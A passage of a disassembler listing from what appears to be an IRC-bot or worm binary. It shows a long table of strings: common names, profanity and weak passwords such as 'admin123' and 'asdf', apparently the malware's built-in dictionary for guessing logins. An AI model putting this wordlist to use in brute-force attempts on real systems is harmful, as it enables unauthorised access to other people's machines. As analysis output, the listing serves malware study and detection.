.nsp0:0042CAE8o align 4 aDelta db 'delta',0 ; DATA XREF: .nsp0:0042CAE4o align 4 aDefoe db 'defoe',0 ; DATA XREF: .nsp0:0042CAE0o align 4 aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:0042CADCo aDeck db 'deck',0 ; DATA XREF: .nsp0:0042CAD4o align 4 aDecember db 'december',0 ; DATA XREF: .nsp0:0042CAD0o align 10h aDebug db 'debug',0 ; DATA XREF: .nsp0:0042CACCo align 4 aDeborah db 'deborah',0 ; DATA XREF: .nsp0:0042CAC8o aDebbie db 'debbie',0 ; DATA XREF: .nsp0:0042CAC4o align 4 aDeathsta db 'deathsta',0 ; DATA XREF: .nsp0:0042CAC0o align 4 aDead db 'dead',0 ; DATA XREF: .nsp0:0042CABCo align 4 aDawn db 'dawn',0 ; DATA XREF: .nsp0:0042CAB8o align 4 aDave db 'dave',0 ; DATA XREF: .nsp0:0042CAB4o align 4 aData db 'data',0 ; DATA XREF: .nsp0:0042CAB0o align 4 aDarkaven db 'darkaven',0 ; DATA XREF: .nsp0:0042CAACo align 10h aDark db 'dark',0 ; DATA XREF: .nsp0:0042CAA8o align 4 aDapper db 'dapper',0 ; DATA XREF: .nsp0:0042CAA4o align 10h aDanny db 'danny',0 ; DATA XREF: .nsp0:0042CAA0o align 4 aDanielle db 'danielle',0 ; DATA XREF: .nsp0:0042CA9Co align 4 aDaniel db 'daniel',0 ; DATA XREF: .nsp0:0042CA98o align 4 aDancer db 'dancer',0 ; DATA XREF: .nsp0:0042CA94o align 4 aDana db 'dana',0 ; DATA XREF: .nsp0:0042CA90o align 4 aDaisy db 'daisy',0 ; DATA XREF: .nsp0:0042CA8Co align 4 aDaemon db 'daemon',0 ; DATA XREF: .nsp0:0042CA88o align 4 aCynthia db 'cynthia',0 ; DATA XREF: .nsp0:0042CA84o aCyberspa db 'cyberspa',0 ; DATA XREF: .nsp0:0042CA80o align 10h aCyberpun db 'cyberpun',0 ; DATA XREF: .nsp0:0042CA7Co align 4 aCyber db 'cyber',0 ; DATA XREF: .nsp0:0042CA78o align 4 aCustomer db 'customer',0 ; DATA XREF: .nsp0:0042CA74o align 10h aCunt db 'cunt',0 ; DATA XREF: .nsp0:0042CA70o align 4 aCshrc db 'cshrc',0 ; DATA XREF: .nsp0:0042CA6Co align 10h aCrystal db 'crystal',0 ; DATA XREF: .nsp0:0042CA68o aCristina db 'cristina',0 ; DATA XREF: .nsp0:0042CA64o align 4 aCriminal db 'criminal',0 ; DATA XREF: .nsp0:0042CA60o align 10h aCrime db 'crime',0 ; DATA XREF: .nsp0:0042CA5Co align 4 aCretin db 'cretin',0 ; DATA XREF: .nsp0:0042CA58o align 10h aCreosote db 'creosote',0 ; DATA XREF: .nsp0:0042CA54o align 4 aCredit db 'credit',0 ; DATA XREF: .nsp0:0042CA50o align 4 aCreature db 'creature',0 ; DATA XREF: .nsp0:0042CA4Co align 10h aCreation db 'creation',0 ; DATA XREF: .nsp0:0042CA48o align 4 aCreate db 'create',0 ; DATA XREF: .nsp0:0042CA44o align 4 aCream db 'cream',0 ; DATA XREF: .nsp0:0042CA40o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: .nsp0:0042CA3Co align 4 aCrack db 'crack',0 ; DATA XREF: .nsp0:0042CA38o align 10h aCowboy db 'cowboy',0 ; DATA XREF: .nsp0:0042CA34o align 4 aCouscous db 'couscous',0 ; DATA XREF: .nsp0:0042CA30o align 4 aCountry db 'country',0 ; DATA XREF: .nsp0:0042CA2Co aCounters db 'counters',0 ; DATA XREF: .nsp0:0042CA28o align 4 aCorrect db 'correct',0 ; DATA XREF: .nsp0:0042CA24o aCorneliu db 'corneliu',0 ; DATA XREF: .nsp0:0042CA20o align 4 aCopy db 'copy',0 ; DATA XREF: .nsp0:0042CA1Co align 4 aCops db 'cops',0 ; DATA XREF: .nsp0:0042CA18o align 4 aCopper db 'copper',0 ; DATA XREF: .nsp0:0042CA14o align 4 aCooper db 'cooper',0 ; DATA XREF: .nsp0:0042CA10o align 4 aCool db 'cool',0 ; DATA XREF: .nsp0:0042CA0Co align 4 aCookie db 'cookie',0 ; DATA XREF: .nsp0:0042CA08o align 4 aCookbook db 'cookbook',0 ; DATA XREF: .nsp0:0042CA04o align 4 aCook db 'cook',0 ; DATA XREF: .nsp0:0042CA00o align 10h aContinue db 'continue',0 ; DATA XREF: sub_40CE55+1F88o ; .nsp0:0042C9FCo align 4 aConsole db 'console',0 ; DATA XREF: .nsp0:0042C9F8o aConserva db 'conserva',0 ; DATA XREF: .nsp0:0042C9F4o align 10h aConnie db 'connie',0 ; DATA XREF: .nsp0:0042C9F0o align 4 aCondom db 'condom',0 ; DATA XREF: .nsp0:0042C9E8o align 10h aCondo db 'condo',0 ; DATA XREF: .nsp0:0042C9E4o align 4 aComrades db 'comrades',0 ; DATA XREF: .nsp0:0042C9E0o align 4 aComrade db 'comrade',0 ; DATA XREF: .nsp0:0042C9DCo aComputin db 'computin',0 ; DATA XREF: .nsp0:0042C9D8o align 4 aCompany db 'company',0 ; DATA XREF: .nsp0:0042C9D4o aCommrade db 'commrade',0 ; DATA XREF: .nsp0:0042C9D0o align 4 aCommit db 'commit',0 ; DATA XREF: .nsp0:0042C9CCo align 4 aComics db 'comics',0 ; DATA XREF: .nsp0:0042C9C8o align 4 aCombat db 'combat',0 ; DATA XREF: .nsp0:0042C9C4o align 4 aColor db 'color',0 ; DATA XREF: .nsp0:0042C9C0o align 4 aCollins db 'collins',0 ; DATA XREF: .nsp0:0042C9BCo aCold db 'cold',0 ; DATA XREF: .nsp0:0042C9B8o align 4 aCola db 'cola',0 ; DATA XREF: .nsp0:0042C9B4o align 4 aCoke db 'coke',0 ; DATA XREF: .nsp0:0042C9B0o align 4 aCoin db 'coin',0 ; DATA XREF: .nsp0:0042C9ACo align 4 aCoffee db 'coffee',0 ; DATA XREF: .nsp0:0042C9A8o align 4 aCodeword db 'codeword',0 ; DATA XREF: .nsp0:0042C9A4o align 4 aCodename db 'codename',0 ; DATA XREF: .nsp0:0042C9A0o align 4 aCode db 'code',0 ; DATA XREF: .nsp0:0042C99Co align 4 aCock db 'cock',0 ; DATA XREF: .nsp0:0042C998o align 4 aCocainco db 'cocainco',0 ; DATA XREF: .nsp0:0042C994o align 10h aCocacola db 'cocacola',0 ; DATA XREF: .nsp0:0042C990o align 4 aCoast db 'coast',0 ; DATA XREF: .nsp0:0042C98Co align 4 aClusters db 'clusters',0 ; DATA XREF: .nsp0:0042C988o align 10h aCluster db 'cluster',0 ; DATA XREF: .nsp0:0042C984o aClinton db 'clinton',0 ; DATA XREF: .nsp0:0042C980o aCleavage db 'cleavage',0 ; DATA XREF: .nsp0:0042C97Co align 4 aClaymore db 'claymore',0 ; DATA XREF: .nsp0:0042C978o align 4 aClaudia db 'claudia',0 ; DATA XREF: .nsp0:0042C974o aClassic db 'classic',0 ; DATA XREF: .nsp0:0042C970o aClasses db 'classes',0 ; DATA XREF: .nsp0:0042C96Co aClass db 'class',0 ; DATA XREF: .nsp0:0042C968o align 4 aCindy db 'cindy',0 ; DATA XREF: .nsp0:0042C964o align 10h aCigarett db 'cigarett',0 ; DATA XREF: .nsp0:0042C960o align 4 aCigar db 'cigar',0 ; DATA XREF: .nsp0:0042C95Co align 4 aChristy db 'christy',0 ; DATA XREF: .nsp0:0042C958o aChristin db 'christin',0 ; DATA XREF: .nsp0:0042C954o align 4 aChris db 'chris',0 ; DATA XREF: .nsp0:0042C950o align 10h aChip db 'chip',0 ; DATA XREF: .nsp0:0042C94Co align 4 aChester db 'chester',0 ; DATA XREF: .nsp0:0042C948o aChess db 'chess',0 ; DATA XREF: .nsp0:0042C944o align 4 aChemistr db 'chemistr',0 ; DATA XREF: .nsp0:0042C940o align 4 aChem db 'chem',0 ; DATA XREF: .nsp0:0042C93Co align 4 aChat_0 db 'chat',0 ; DATA XREF: .nsp0:0042C938o align 4 aCharon db 'charon',0 ; DATA XREF: .nsp0:0042C934o align 4 aCharming db 'charming',0 ; DATA XREF: .nsp0:0042C930o align 4 aCharlie db 'charlie',0 ; DATA XREF: .nsp0:0042C92Co aCharles db 'charles',0 ; DATA XREF: .nsp0:0042C928o aCharity db 'charity',0 ; DATA XREF: .nsp0:0042C924o aChange db 'change',0 ; DATA XREF: .nsp0:0042C920o align 4 aCerulean db 'cerulean',0 ; DATA XREF: .nsp0:0042C91Co align 4 aCeltics db 'celtics',0 ; DATA XREF: .nsp0:0042C918o aCeltic db 'celtic',0 ; DATA XREF: .nsp0:0042C914o align 4 aCelt db 'celt',0 ; DATA XREF: .nsp0:0042C910o align 4 aCecily db 'cecily',0 ; DATA XREF: .nsp0:0042C90Co align 4 aCayuga db 'cayuga',0 ; DATA XREF: .nsp0:0042C908o align 4 aCave db 'cave',0 ; DATA XREF: .nsp0:0042C904o align 4 aCathy db 'cathy',0 ; DATA XREF: .nsp0:0042C900o align 4 aCatholic db 'catholic',0 ; DATA XREF: .nsp0:0042C8FCo align 4 aCatherin db 'catherin',0 ; DATA XREF: .nsp0:0042C8F8o align 4 aCastle db 'castle',0 ; DATA XREF: .nsp0:0042C8F4o align 4 aCash db 'cash',0 ; DATA XREF: .nsp0:0042C8F0o align 4 aCascades db 'cascades',0 ; DATA XREF: .nsp0:0042C8ECo align 10h aCarson db 'carson',0 ; DATA XREF: .nsp0:0042C8E8o align 4 aCarrie db 'carrie',0 ; DATA XREF: .nsp0:0042C8E4o align 10h aCaroline db 'caroline',0 ; DATA XREF: .nsp0:0042C8E0o align 4 aCarolina db 'carolina',0 ; DATA XREF: .nsp0:0042C8DCo align 4 aCarole db 'carole',0 ; DATA XREF: .nsp0:0042C8D8o align 10h aCarol db 'carol',0 ; DATA XREF: .nsp0:0042C8D4o align 4 aCarmen db 'carmen',0 ; DATA XREF: .nsp0:0042C8D0o align 10h aCarla db 'carla',0 ; DATA XREF: .nsp0:0042C8CCo align 4 aCaren db 'caren',0 ; DATA XREF: .nsp0:0042C8C8o align 10h aCardinal db 'cardinal',0 ; DATA XREF: .nsp0:0042C8C4o align 4 aCard db 'card',0 ; DATA XREF: .nsp0:0042C8C0o align 4 aCapture db 'capture',0 ; DATA XREF: .nsp0:0042C8BCo aCaptain db 'captain',0 ; DATA XREF: .nsp0:0042C8B8o aCantor db 'cantor',0 ; DATA XREF: .nsp0:0042C8B4o align 4 aCandy db 'candy',0 ; DATA XREF: .nsp0:0042C8B0o align 4 aCandi db 'candi',0 ; DATA XREF: .nsp0:0042C8ACo align 4 aCamping db 'camping',0 ; DATA XREF: .nsp0:0042C8A8o aCampanil db 'campanil',0 ; DATA XREF: .nsp0:0042C8A4o align 10h aCamille db 'camille',0 ; DATA XREF: .nsp0:0042C8A0o aCaliforn db 'californ',0 ; DATA XREF: .nsp0:0042C89Co align 4 aButthead db 'butthead',0 ; DATA XREF: .nsp0:0042C898o align 10h aButt db 'butt',0 ; DATA XREF: .nsp0:0042C894o align 4 aButch db 'butch',0 ; DATA XREF: .nsp0:0042C890o align 10h aBurn db 'burn',0 ; DATA XREF: .nsp0:0042C88Co align 4 aBurgess db 'burgess',0 ; DATA XREF: .nsp0:0042C888o aBung db 'bung',0 ; DATA XREF: .nsp0:0042C884o align 4 aBumbling db 'bumbling',0 ; DATA XREF: .nsp0:0042C880o align 4 aBullshit db 'bullshit',0 ; DATA XREF: .nsp0:0042C87Co align 10h aBulls db 'bulls',0 ; DATA XREF: .nsp0:0042C878o align 4 aBrutefor db 'brutefor',0 ; DATA XREF: .nsp0:0042C874o align 4 aBrute db 'brute',0 ; DATA XREF: .nsp0:0042C870o align 4 aBrunette db 'brunette',0 ; DATA XREF: .nsp0:0042C86Co align 4 aBrothel db 'brothel',0 ; DATA XREF: .nsp0:0042C868o aBroadway db 'broadway',0 ; DATA XREF: .nsp0:0042C864o align 4 aBridget db 'bridget',0 ; DATA XREF: .nsp0:0042C860o aBrian db 'brian',0 ; DATA XREF: .nsp0:0042C85Co align 4 aBrenda db 'brenda',0 ; DATA XREF: .nsp0:0042C858o align 4 aBreast db 'breast',0 ; DATA XREF: .nsp0:0042C854o align 4 aBreak db 'break',0 ; DATA XREF: .nsp0:0042C850o align 4 aBravo db 'bravo',0 ; DATA XREF: .nsp0:0042C84Co align 4 aBrandy db 'brandy',0 ; DATA XREF: .nsp0:0042C848o align 4 aBrandi db 'brandi',0 ; DATA XREF: .nsp0:0042C844o align 4 aBradley db 'bradley',0 ; DATA XREF: .nsp0:0042C840o aBoyscout db 'boyscout',0 ; DATA XREF: .nsp0:0042C83Co align 10h aBorn db 'born',0 ; DATA XREF: .nsp0:0042C838o align 4 aBook db 'book',0 ; DATA XREF: .nsp0:0042C834o align 10h aBoobs db 'boobs',0 ; DATA XREF: .nsp0:0042C830o align 4 aBoob db 'boob',0 ; DATA XREF: .nsp0:0042C82Co align 10h aBoner db 'boner',0 ; DATA XREF: .nsp0:0042C828o align 4 aBomb db 'bomb',0 ; DATA XREF: .nsp0:0042C824o align 10h aBoard db 'board',0 ; DATA XREF: .nsp0:0042C820o align 4 aBlues db 'blues',0 ; DATA XREF: .nsp0:0042C81Co align 10h aBlue db 'blue',0 ; DATA XREF: .nsp0:0042C818o align 4 aBlowjob db 'blowjob',0 ; DATA XREF: .nsp0:0042C814o aBlow db 'blow',0 ; DATA XREF: .nsp0:0042C810o align 4 aBloodaxe db 'bloodaxe',0 ; DATA XREF: .nsp0:0042C80Co align 4 aBlood db 'blood',0 ; DATA XREF: .nsp0:0042C808o align 4 aBlondie db 'blondie',0 ; DATA XREF: .nsp0:0042C804o aBlonde db 'blonde',0 ; DATA XREF: .nsp0:0042C800o align 4 aBlack db 'black',0 ; DATA XREF: .nsp0:0042C7FCo align 4 aBitnet db 'bitnet',0 ; DATA XREF: .nsp0:0042C7F8o align 4 aBitmap db 'bitmap',0 ; DATA XREF: .nsp0:0042C7F4o align 4 aBitch db 'bitch',0 ; DATA XREF: .nsp0:0042C7F0o align 4 aBishop db 'bishop',0 ; DATA XREF: .nsp0:0042C7ECo align 4 aBird db 'bird',0 ; DATA XREF: .nsp0:0042C7E8o align 4 aBios db 'bios',0 ; DATA XREF: .nsp0:0042C7E4o align 4 aBinary db 'binary',0 ; DATA XREF: .nsp0:0042C7E0o align 4 aBill db 'bill',0 ; DATA XREF: .nsp0:0042C7DCo align 4 aBigfoot db 'bigfoot',0 ; DATA XREF: .nsp0:0042C7D8o aBicamera db 'bicamera',0 ; DATA XREF: .nsp0:0042C7D4o align 4 aBible db 'bible',0 ; DATA XREF: .nsp0:0042C7D0o align 10h aBeverly db 'beverly',0 ; DATA XREF: .nsp0:0042C7CCo aBetty db 'betty',0 ; DATA XREF: .nsp0:0042C7C8o align 10h aBetsie db 'betsie',0 ; DATA XREF: .nsp0:0042C7C4o align 4 aBeth db 'beth',0 ; DATA XREF: .nsp0:0042C7C0o align 10h aBeta db 'beta',0 ; DATA XREF: .nsp0:0042C7BCo align 4 aBeryl db 'beryl',0 ; DATA XREF: .nsp0:0042C7B8o align 10h aBerliner db 'berliner',0 ; DATA XREF: .nsp0:0042C7B4o align 4 aBerlin db 'berlin',0 ; DATA XREF: .nsp0:0042C7B0o align 4 aBerkeley db 'berkeley',0 ; DATA XREF: .nsp0:0042C7ACo align 10h aBeowulf db 'beowulf',0 ; DATA XREF: .nsp0:0042C7A8o aBenz db 'benz',0 ; DATA XREF: .nsp0:0042C7A4o align 10h aBeloved db 'beloved',0 ; DATA XREF: .nsp0:0042C7A0o aBell db 'bell',0 ; DATA XREF: .nsp0:0042C79Co align 10h aBehead db 'behead',0 ; DATA XREF: .nsp0:0042C798o align 4 aBegin db 'begin',0 ; DATA XREF: .nsp0:0042C794o align 10h aBeethove db 'beethove',0 ; DATA XREF: .nsp0:0042C790o align 4 aBecky db 'becky',0 ; DATA XREF: .nsp0:0042C78Co align 4 aBeaver db 'beaver',0 ; DATA XREF: .nsp0:0042C788o align 4 aBeauty db 'beauty',0 ; DATA XREF: .nsp0:0042C784o align 4 aBeater db 'beater',0 ; DATA XREF: .nsp0:0042C780o align 4 aBeast db 'beast',0 ; DATA XREF: .nsp0:0042C77Co align 4 aBear db 'bear',0 ; DATA XREF: .nsp0:0042C778o align 4 aBeammeup db 'beammeup',0 ; DATA XREF: .nsp0:0042C774o align 4 aBeach db 'beach',0 ; DATA XREF: .nsp0:0042C770o align 10h aBatman db 'batman',0 ; DATA XREF: .nsp0:0042C76Co align 4 aBatch db 'batch',0 ; DATA XREF: .nsp0:0042C768o align 10h aBassoon db 'bassoon',0 ; DATA XREF: .nsp0:0042C764o aBass db 'bass',0 ; DATA XREF: .nsp0:0042C760o align 10h aBasic db 'basic',0 ; DATA XREF: .nsp0:0042C75Co align 4 aBaseball db 'baseball',0 ; DATA XREF: .nsp0:0042C758o align 4 aBartman db 'bartman',0 ; DATA XREF: .nsp0:0042C754o aBart db 'bart',0 ; DATA XREF: .nsp0:0042C750o align 4 aBaritone db 'baritone',0 ; DATA XREF: .nsp0:0042C74Co align 10h aBarf db 'barf',0 ; DATA XREF: .nsp0:0042C748o align 4 aBare db 'bare',0 ; DATA XREF: .nsp0:0042C744o align 10h aBarber db 'barber',0 ; DATA XREF: .nsp0:0042C740o align 4 aBarbara db 'barbara',0 ; DATA XREF: .nsp0:0042C73Co aBanks db 'banks',0 ; DATA XREF: .nsp0:0042C738o align 4 aBank db 'bank',0 ; DATA XREF: .nsp0:0042C734o align 10h aBandit db 'bandit',0 ; DATA XREF: .nsp0:0042C730o align 4 aBananas db 'bananas',0 ; DATA XREF: .nsp0:0042C72Co aBanana db 'banana',0 ; DATA XREF: .nsp0:0042C728o align 4 aBall db 'ball',0 ; DATA XREF: .nsp0:0042C724o align 10h aBailey db 'bailey',0 ; DATA XREF: .nsp0:0042C720o align 4 aBadass db 'badass',0 ; DATA XREF: .nsp0:0042C71Co align 10h aBackdoor db 'backdoor',0 ; DATA XREF: .nsp0:0042C718o align 4 aBacchus db 'bacchus',0 ; DATA XREF: .nsp0:0042C714o aBaby db 'baby',0 ; DATA XREF: .nsp0:0042C710o align 4 aBabe db 'babe',0 ; DATA XREF: .nsp0:0042C70Co align 4 aAzure db 'azure',0 ; DATA XREF: .nsp0:0042C708o align 4 aAztecs db 'aztecs',0 ; DATA XREF: .nsp0:0042C704o align 4 aAuthoriz db 'authoriz',0 ; DATA XREF: .nsp0:0042C700o align 10h aAttack db 'attack',0 ; DATA XREF: .nsp0:0042C6FCo align 4 aAtom db 'atom',0 ; DATA XREF: .nsp0:0042C6F8o align 10h aAtmosphe db 'atmosphe',0 ; DATA XREF: .nsp0:0042C6F4o align 4 aAthena db 'athena',0 ; DATA XREF: .nsp0:0042C6F0o align 4 aAsshole db 'asshole',0 ; DATA XREF: .nsp0:0042C6ECo aAsian db 'asian',0 ; DATA XREF: .nsp0:0042C6E8o align 4 aArtist db 'artist',0 ; DATA XREF: .nsp0:0042C6E4o align 4 aArthur db 'arthur',0 ; DATA XREF: .nsp0:0042C6E0o align 4 aArrow db 'arrow',0 ; DATA XREF: .nsp0:0042C6DCo align 4 aArmy db 'army',0 ; DATA XREF: .nsp0:0042C6D8o align 4 aArlene db 'arlene',0 ; DATA XREF: .nsp0:0042C6D4o align 4 aAriadne db 'ariadne',0 ; DATA XREF: .nsp0:0042C6D0o aAria db 'aria',0 ; DATA XREF: .nsp0:0042C6CCo align 4 aApril db 'april',0 ; DATA XREF: .nsp0:0042C6C8o align 4 aApollo13 db 'apollo13',0 ; DATA XREF: .nsp0:0042C6C4o align 10h aAnything db 'anything',0 ; DATA XREF: .nsp0:0042C6C0o align 4 aAnvils db 'anvils',0 ; DATA XREF: .nsp0:0042C6BCo align 4 aAnthropo db 'anthropo',0 ; DATA XREF: .nsp0:0042C6B8o align 10h aAnthrax db 'anthrax',0 ; DATA XREF: .nsp0:0042C6B4o aAnswer db 'answer',0 ; DATA XREF: .nsp0:0042C6B0o align 10h aAnonymou db 'anonymou',0 ; DATA XREF: .nsp0:0042C6ACo align 4 aAnon db 'anon',0 ; DATA XREF: .nsp0:0042C6A8o align 4 aAnnette db 'annette',0 ; DATA XREF: .nsp0:0042C6A4o aAnne db 'anne',0 ; DATA XREF: .nsp0:0042C6A0o align 4 aAnna db 'anna',0 ; DATA XREF: .nsp0:0042C69Co align 4 aAnita db 'anita',0 ; DATA XREF: .nsp0:0042C698o align 4 aAnimals db 'animals',0 ; DATA XREF: .nsp0:0042C694o aAnimal db 'animal',0 ; DATA XREF: .nsp0:0042C690o align 4 aAngie db 'angie',0 ; DATA XREF: .nsp0:0042C68Co align 4 aAngerine db 'angerine',0 ; DATA XREF: .nsp0:0042C688o align 4 aAngela db 'angela',0 ; DATA XREF: .nsp0:0042C684o align 10h aAnfo db 'anfo',0 ; DATA XREF: .nsp0:0042C680o align 4 aAndy db 'andy',0 ; DATA XREF: .nsp0:0042C67Co align 10h aAndromac db 'andromac',0 ; DATA XREF: .nsp0:0042C678o align 4 aAndroid db 'android',0 ; DATA XREF: .nsp0:0042C674o aAndrea db 'andrea',0 ; DATA XREF: .nsp0:0042C670o align 4 aAnchor db 'anchor',0 ; DATA XREF: .nsp0:0042C66Co align 4 aAnarchy db 'anarchy',0 ; DATA XREF: .nsp0:0042C668o aAnarchis db 'anarchis',0 ; DATA XREF: .nsp0:0042C664o align 4 aAnalog db 'analog',0 ; DATA XREF: .nsp0:0042C660o align 10h aAnal db 'anal',0 ; DATA XREF: .nsp0:0042C65Co align 4 aAmorphou db 'amorphou',0 ; DATA XREF: .nsp0:0042C658o align 4 aAmerica db 'america',0 ; DATA XREF: .nsp0:0042C654o aAmber db 'amber',0 ; DATA XREF: .nsp0:0042C650o align 4 aAmanda db 'amanda',0 ; DATA XREF: .nsp0:0042C64Co align 4 aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:0042C648o aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:0042C644o align 10h aAllow db 'allow',0 ; DATA XREF: .nsp0:0042C640o align 4 aAllison db 'allison',0 ; DATA XREF: .nsp0:0042C63Co aAlison db 'alison',0 ; DATA XREF: .nsp0:0042C638o align 4 aAlisa db 'alisa',0 ; DATA XREF: .nsp0:0042C634o align 10h aAlicia db 'alicia',0 ; DATA XREF: .nsp0:0042C630o align 4 aAlice db 'alice',0 ; DATA XREF: .nsp0:0042C62Co align 10h aAliases db 'aliases',0 ; DATA XREF: .nsp0:0042C628o aAlias db 'alias',0 ; DATA XREF: .nsp0:0042C624o align 10h aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:0042C620o aAlexande db 'alexande',0 ; DATA XREF: .nsp0:0042C61Co align 4 aAlex db 'alex',0 ; DATA XREF: .nsp0:0042C618o align 4 aAlert db 'alert',0 ; DATA XREF: .nsp0:0042C614o align 4 aAlbert db 'albert',0 ; DATA XREF: .nsp0:0042C610o align 4 aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:0042C60Co align 4 aAlbany db 'albany',0 ; DATA XREF: .nsp0:0042C608o align 10h aAlaska db 'alaska',0 ; DATA XREF: .nsp0:0042C604o align 4 aAirplane db 'airplane',0 ; DATA XREF: .nsp0:0042C600o align 4 aAids db 'aids',0 ; DATA XREF: .nsp0:0042C5FCo align 4 aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:0042C5F8o align 4 aAdult db 'adult',0 ; DATA XREF: .nsp0:0042C5F4o align 10h aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:0042C5F0o align 4 aAdrian db 'adrian',0 ; DATA XREF: .nsp0:0042C5ECo align 4 aAdam db 'adam',0 ; DATA XREF: .nsp0:0042C5E8o align 4 aAction db 'action',0 ; DATA XREF: .nsp0:0042C5E4o align 4 aAccount db 'account',0 ; DATA XREF: .nsp0:0042C5E0o aAcademic db 'academic',0 ; DATA XREF: .nsp0:0042C5D8o align 4 aAcademia db 'academia',0 ; DATA XREF: .nsp0:0042C5D4o align 4 a000000 db '000000',0 ; DATA XREF: .nsp0:0042C5D0o ; .nsp0:0042DFE8o align 4 a00000 db '00000',0 ; DATA XREF: .nsp0:0042C5CCo ; .nsp0:0042DFE4o align 4 a0000 db '0000',0 ; DATA XREF: .nsp0:0042C5C8o ; .nsp0:0042DFE0o align 4 a000 db '000',0 ; DATA XREF: .nsp0:0042C5C4o ; .nsp0:0042DFDCo aTesting db 'testing',0 ; DATA XREF: .nsp0:0042C5C0o aDeath db 'death',0 ; DATA XREF: .nsp0:0042C5BCo align 10h a00 db '00',0 ; DATA XREF: .nsp0:0042C5B8o ; .nsp0:0042DFD8o align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0042C5B0o ; .nsp0:0042E428o align 10h aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0042C5ACo ; .nsp0:0042E424o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0042C5A8o ; .nsp0:0042E420o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0042C5A4o ; .nsp0:0042E41Co align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0042C5A0o ; .nsp0:0042E418o align 4 aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0042C59Co ; .nsp0:0042E414o align 4 aXxx db 'xxx',0 ; DATA XREF: .nsp0:0042C598o ; .nsp0:0042E410o aXx db 'xx',0 ; DATA XREF: .nsp0:0042C594o ; .nsp0:0042E40Co align 4 asc_432C64: ; DATA XREF: .nsp0:0042C590o ; .nsp0:0042E408o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: .nsp0:0042C58Co aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:0042C588o align 10h aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:0042C584o align 10h aMirc_0 db 'mirc',0 ; DATA XREF: .nsp0:0042C580o align 4 aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:0042C57Co align 10h aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:0042C578o align 10h aScript db 'script',0 ; DATA XREF: .nsp0:0042C574o align 4 aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:0042C570o align 10h aHacker db 'hacker',0 ; DATA XREF: .nsp0:0042C56Co align 4 aL337 db 'l337',0 ; DATA XREF: .nsp0:0042C568o align 10h aL33t db 'l33t',0 ; DATA XREF: .nsp0:0042C564o align 4 aLeet db 'leet',0 ; DATA XREF: .nsp0:0042C560o align 10h aKiller db 'killer',0 ; DATA XREF: .nsp0:0042C55Co align 4 a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:0042C558o ; .nsp0:0042E044o align 10h aW00t db 'w00t',0 ; DATA XREF: .nsp0:0042C554o align 4 aHeaven db 'heaven',0 ; DATA XREF: .nsp0:0042C550o align 10h aSpaceman db 'spaceman',0 ; DATA XREF: .nsp0:0042C54Co align 4 aSatanic db 'satanic',0 ; DATA XREF: .nsp0:0042C548o aSatanik db 'satanik',0 ; DATA XREF: .nsp0:0042C544o aSatan db 'satan',0 ; DATA XREF: .nsp0:0042C540o align 4 aGobo db 'gobo',0 ; DATA XREF: .nsp0:0042C53Co align 4 aMatthew db 'Matthew',0 ; DATA XREF: .nsp0:0042C538o aMatt db 'Matt',0 ; DATA XREF: .nsp0:0042C534o align 4 aMat db 'Mat',0 ; DATA XREF: .nsp0:0042C530o aPw db 'pw',0 ; DATA XREF: .nsp0:0042C52Co align 4 aMypass123 db 'mypass123',0 ; DATA XREF: .nsp0:0042C528o align 10h aMypass db 'mypass',0 ; DATA XREF: .nsp0:0042C524o align 4 aPw123 db 'pw123',0 ; DATA XREF: .nsp0:0042C520o align 10h aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:0042C51Co align 4 aMypc123 db 'mypc123',0 ; DATA XREF: .nsp0:0042C518o aMypc db 'mypc',0 ; DATA XREF: .nsp0:0042C514o align 4 aLove db 'love',0 ; DATA XREF: .nsp0:0042C510o align 4 aPwd db 'pwd',0 ; DATA XREF: .nsp0:0042C50Co aLogin db 'login',0 ; DATA XREF: .nsp0:0042C508o align 10h aHome db 'home',0 ; DATA XREF: .nsp0:0042C504o align 4 aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:0042C500o ; .nsp0:0042E448o align 10h aYxcv db 'yxcv',0 ; DATA XREF: .nsp0:0042C4FCo align 4 aQwer db 'qwer',0 ; DATA XREF: .nsp0:0042C4F8o ; .nsp0:0042E3B4o align 10h aSecret db 'secret',0 ; DATA XREF: .nsp0:0042C4F4o align 4 aAsdf db 'asdf',0 ; DATA XREF: .nsp0:0042C4F0o ; .nsp0:0042E460o align 10h aPc db 'pc',0 ; DATA XREF: .nsp0:0042C4ECo align 4 aWin db 'win',0 ; DATA XREF: .nsp0:0042C4E8o aTest123 db 'test123',0 ; DATA XREF: .nsp0:0042C4E4o aAbc db 'abc',0 ; DATA XREF: .nsp0:0042C4E0o aAaa db 'aaa',0 ; DATA XREF: .nsp0:0042C4DCo ; .nsp0:0042E388o aA_1: ; DATA XREF: .nsp0:0042C4D8o ; .nsp0:0042E380o unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: .nsp0:0042C4D4o align 4 aFucked db 'fucked',0 ; DATA XREF: .nsp0:0042C4D0o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:0042C4CCo aIrule db 'irule',0 ; DATA XREF: .nsp0:0042C4C8o align 4 aOwned db 'owned',0 ; DATA XREF: .nsp0:0042C4C4o align 4 a0wned db '0wned',0 ; DATA XREF: .nsp0:0042C4C0o ; .nsp0:0042E048o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: .nsp0:0042C4BCo align 4 aNetdevil db 'netdevil',0 ; DATA XREF: .nsp0:0042C4B8o align 4 aDevil db 